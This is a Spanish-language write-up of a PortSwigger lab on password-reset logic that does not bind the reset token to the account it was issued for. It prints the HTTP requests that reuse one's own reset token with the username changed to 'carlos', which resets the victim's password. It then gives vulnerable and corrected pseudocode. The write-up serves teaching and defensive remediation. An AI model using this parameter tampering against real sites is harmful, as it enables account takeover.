← Writeups

Password Reset Broken Logic — Improper Token Binding — PortSwigger Lab

Reutilización de un token de reset propio para restablecer la contraseña de carlos modificando el campo username: el backend no vincula el token al usuario.

Password Reset Broken Logic

1. Target Overview & Vulnerability Summary

Campo Valor
Severidad Alta
Endpoint vulnerable POST /forgot-password?temp-forgot-password-token=<token>
Root cause El backend valida solo que el token sea válido, no que pertenezca al usuario cuyo password se modifica; confía en el parámetro username del cliente (Improper Token Binding)

El flujo de reset acepta un token temporal y un campo username independientes. El token solo se comprueba como "existente y válido": el usuario cuyo password se actualiza es el que indica el body, no el que generó el token. Esto permite reutilizar el propio token y resetear la contraseña de cualquier otra cuenta.

2. Technical Breakdown & Exploitation Flow

2.1 Captura del flujo legítimo

Se inicia un reset con la cuenta propia y se intercepta la request final del flujo:

POST /forgot-password?temp-forgot-password-token=15148sy5dtxg4v8aofyz0uxcti2n240k HTTP/2
Content-Type: application/x-www-form-urlencoded

temp-forgot-password-token=15148sy5dtxg4v8aofyz0uxcti2n240k&username=wiener&new-password-1=wiener&new-password-2=wiener

2.2 Redirección del reset hacia la víctima

El token generado para wiener se mantiene intacto; solo se modifica el campo username a carlos:

POST /forgot-password?temp-forgot-password-token=15148sy5dtxg4v8aofyz0uxcti2n240k HTTP/2
Content-Type: application/x-www-form-urlencoded

temp-forgot-password-token=15148sy5dtxg4v8aofyz0uxcti2n240k&username=carlos&new-password-1=wiener&new-password-2=wiener

El servidor acepta la request y actualiza la contraseña de carlos con el valor wiener, ya que el token sigue siendo sintácticamente válido.

3. Root Cause Analysis

La lógica rota separa la validación del token de la identidad del usuario:

# Implementación vulnerable
# POST /forgot-password (reset final)
if valid_token(request.temp_token):
    user = request.username                       # ❌ Confía en input del cliente
    if request.new_password_1 == request.new_password_2:
        update_password(user, request.new_password_1)
        invalidate_token(request.temp_token)

Se valida únicamente que el token sea válido, pero no que pertenezca al mismo usuario cuyo password se está modificando. Es un caso de Broken Access Control + Improper Token Binding.

4. Secure Remediation

El token debe estar ligado al usuario en el servidor, no solo ser sintácticamente válido:

# Implementación segura
token_data = get_token_data(request.temp_token)

if token_data and token_data.user == request.username:
    if request.new_password_1 == request.new_password_2:
        update_password(token_data.user, request.new_password_1)
        invalidate_token(request.temp_token)
else:
    deny_request()

El username debe derivarse del token almacenado en servidor (single-use), nunca del body del cliente; y el token debe invalidarse tras su uso, con expiración corta y preferiblemente ligado a sesión/IP.